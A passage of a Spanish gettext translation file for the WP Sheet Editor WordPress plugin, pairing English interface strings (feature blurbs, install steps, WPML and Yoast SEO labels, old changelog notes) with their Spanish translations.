                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

